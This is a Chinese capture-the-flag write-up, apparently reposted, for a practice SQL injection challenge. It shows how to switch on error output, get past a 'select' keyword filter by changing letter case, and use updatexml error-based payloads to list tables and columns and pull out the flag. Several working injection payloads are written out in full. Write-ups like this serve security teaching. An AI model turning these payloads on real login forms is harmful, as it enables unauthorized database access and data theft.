[BUUCTF][N1BOOK][第一章 web入门]SQL注入-2(详细)
目录
题目链接:
https://buuoj.cn/challenges#[第一章 web入门]SQL注入-2
题目解析:
我们按提示分别访问/login.php 和 /user.php 去看看
进入页面后习惯性地查看源代码发现有一行注释提示,告诉我们:
可以在url后加入?tips=1 开启mysql错误提示,使用burp发包就可以看到啦
另一个页面则就只有一行 login first,没有太多用处
页面提交的账号密码,在burp中抓到这个包,使用Ctrl r将数据发送到repeater进行重发送
然后在burp中的login.php后添加?tips=1,Send发送查看现象
正常send提示账号不存在
使用普通payload:,发现是select被过滤了 (密码写啥都行,因为前面注释掉密码了)
name=1'and updatexml(1,concat(0x7e,(select 1 from dual)),1)-- &pass=xxxx
尝试一下大小写绕过,成功得到正常回显
name=1'and updatexml(1,concat(0x7e,(sELECT 1 from dual)),1)-- &pass=1' and 1=2 --
查表名:
将sELEct后的1改为group_concat(table_name),dual改为information_schema.tables where table_schema=database()以查看所有表名
得到pyload:
name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(table_name) from information_schema.tables where table_schema=database())),1)-- &pass=1' and 1=2 --
查看fl4g的字段:
要看fl4g的字段,分别改为把之前的两个地方改为group_concat(column_name)和information_schema.columns where table_name=‘fl4g’
得到pyload:
name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(column_name) from information_schema.columns where table_name='fl4g')),1)-- &pass=1' and 1=2 --
查看字段获取flag:
payload:
name=1'and updatexml(1,concat(0x7e,(sELECT flag from fl4g)),1)-- &pass=1' and 1=2 --
得到flag:
n1book{login_sqli_is_nice}
*题目原理*
1、有的网站会开启错误调试信息方便开发者调试,可以利用报错信息进行报错注入
2、updatexml第二个参数应为合法XPATH路径,否则会在引发报错的同时输出传入的参数
3、dual用于测试数据库是否可以正常使用
4、如果没有报错提示,可以bool注入
这篇好文章是转载于:学新通技术网
- 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
- 本站站名: 学新通技术网
- 本文地址: /boutique/detail/tanhgfeigb
系列文章
更多
同类精品
更多
-
photoshop保存的图片太大微信发不了怎么办
PHP中文网 06-15 -
Android 11 保存文件到外部存储,并分享文件
Luke 10-12 -
《学习通》视频自动暂停处理方法
HelloWorld317 07-05 -
word里面弄一个表格后上面的标题会跑到下面怎么办
PHP中文网 06-20 -
photoshop扩展功能面板显示灰色怎么办
PHP中文网 06-14 -
微信公众号没有声音提示怎么办
PHP中文网 03-31 -
excel下划线不显示怎么办
PHP中文网 06-23 -
excel打印预览压线压字怎么办
PHP中文网 06-22 -
怎样阻止微信小程序自动打开
PHP中文网 06-13 -
TikTok加速器哪个好免费的TK加速器推荐
TK小达人 10-01